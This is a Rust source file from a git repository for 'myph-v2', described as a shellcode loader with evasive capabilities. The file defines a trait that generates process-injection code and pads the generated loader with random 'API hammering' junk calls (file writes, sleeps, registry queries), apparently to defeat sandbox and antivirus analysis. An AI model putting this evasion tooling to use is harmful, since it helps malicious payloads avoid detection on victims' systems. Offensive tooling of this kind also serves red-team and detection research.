myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

trait_generator.rs (4966B)

      1 use crate::encryption::Encryptor;
      2 
      3 pub trait TechniqueGenerator {
      4     fn generate_code(&self, process: &str, function_name: &str) -> String;
      5 
      6     fn generate_code_with_dynamic_resolver(
      7         &self,
      8         process: &str,
      9         function_name: &str,
     10         encryption_type: &str,
     11         encryptor: &dyn Encryptor,
     12     ) -> String {
     13         let _ = (encryption_type, encryptor);
     14         self.generate_code(process, function_name)
     15     }
     16 
     17     fn generate_code_with_hammering(&self, process: &str, function_name: &str) -> String {
     18         let base_code = self.generate_code(process, function_name);
     19         inject_api_hammering_calls(&base_code)
     20     }
     21 
     22     fn requires_process(&self) -> bool;
     23 
     24     fn name(&self) -> &'static str;
     25 
     26     fn validate_generated_code(
     27         &self,
     28         code: &str,
     29     ) -> Result<(), Vec<super::super::ValidationError>> {
     30         super::super::CodeValidator::validate_technique_code(code)
     31     }
     32 
     33     fn add_debug_context(&self, code: String) -> String {
     34         if std::env::var("MYPH_DEBUG_CODEGEN").is_ok() {
     35             super::super::CodeContext::add_stage_markers(self.name(), &code)
     36         } else {
     37             code
     38         }
     39     }
     40 }
     41 
     42 fn inject_api_hammering_calls(code: &str) -> String {
     43     let mut result = String::new();
     44     let lines: Vec<&str> = code.lines().collect();
     45     let mut rng = SimpleRng::new();
     46     let mut in_extern_block = false;
     47     let mut brace_depth = 0;
     48 
     49     for line in lines.iter() {
     50         let trimmed = line.trim();
     51 
     52         // Track extern blocks
     53         if trimmed.starts_with("extern") && trimmed.contains('{') {
     54             in_extern_block = true;
     55             brace_depth = 1;
     56         } else if in_extern_block {
     57             // Count braces to track nesting
     58             brace_depth += trimmed.matches('{').count();
     59             brace_depth = brace_depth.saturating_sub(trimmed.matches('}').count());
     60 
     61             // Exit extern block when braces are balanced
     62             if brace_depth == 0 {
     63                 in_extern_block = false;
     64             }
     65         }
     66 
     67         result.push_str(line);
     68         result.push('\n');
     69 
     70         if !in_extern_block && should_inject_hammering_after_line(line) {
     71             let hammering_call = generate_random_hammering_call(&mut rng);
     72             if !hammering_call.is_empty() {
     73                 let indent = get_line_indent(line);
     74                 result.push_str(&format!("{}{}\n", indent, hammering_call));
     75             }
     76         }
     77     }
     78 
     79     result
     80 }
     81 
     82 fn should_inject_hammering_after_line(line: &str) -> bool {
     83     let trimmed = line.trim();
     84 
     85     if trimmed.is_empty()
     86         || trimmed.starts_with("//")
     87         || trimmed.starts_with("const")
     88         || trimmed.starts_with("use")
     89         || trimmed.starts_with("pub")
     90         || trimmed.starts_with("fn")
     91         || trimmed.starts_with("struct")
     92         || trimmed.starts_with("impl")
     93         || trimmed.starts_with("#[")
     94         || trimmed.starts_with("for")
     95         || trimmed.starts_with("while")
     96         || trimmed.starts_with("match")
     97         || trimmed.ends_with('{')
     98         || trimmed.ends_with(',')
     99     {
    100         return false;
    101     }
    102 
    103     trimmed.ends_with(");") || trimmed.ends_with("};")
    104 }
    105 
    106 fn generate_random_hammering_call(rng: &mut SimpleRng) -> String {
    107     let choice = rng.next() % 7;
    108 
    109     match choice {
    110         0 => {
    111             let iterations = 200 + (rng.next() % 1050);
    112             format!("let _ = write_random_files({});", iterations)
    113         }
    114         1 => {
    115             let iterations = 200 + (rng.next() % 1050);
    116             format!("calc_primes({});", iterations)
    117         }
    118         2 => {
    119             let num_allocs = 5 + (rng.next() % 20);
    120             format!("allocate_random_memory({});", num_allocs)
    121         }
    122         3 => {
    123             let iterations = 10 + (rng.next() % 50);
    124             format!("transform_strings({});", iterations)
    125         }
    126         4 => {
    127             let max_millis = 10 + (rng.next() % 100);
    128             format!("sleep_random_jitter({});", max_millis)
    129         }
    130         5 => {
    131             let num_queries = 1 + (rng.next() % 5);
    132             format!("let _ = query_registry_keys({});", num_queries)
    133         }
    134         _ => String::new(),
    135     }
    136 }
    137 
    138 fn get_line_indent(line: &str) -> String {
    139     line.chars().take_while(|c| c.is_whitespace()).collect()
    140 }
    141 
    142 struct SimpleRng {
    143     state: u64,
    144 }
    145 
    146 impl SimpleRng {
    147     fn new() -> Self {
    148         use std::collections::hash_map::RandomState;
    149         use std::hash::{BuildHasher, Hasher};
    150 
    151         let random_state = RandomState::new();
    152         let mut hasher = random_state.build_hasher();
    153 
    154         let state = std::time::SystemTime::now()
    155             .duration_since(std::time::UNIX_EPOCH)
    156             .unwrap()
    157             .as_nanos() as u64;
    158 
    159         hasher.write_u64(state);
    160 
    161         Self {
    162             state: hasher.finish(),
    163         }
    164     }
    165 
    166     fn next(&mut self) -> usize {
    167         self.state = self.state.wrapping_mul(6364136223846793005).wrapping_add(1);
    168         (self.state >> 32) as usize
    169     }
    170 }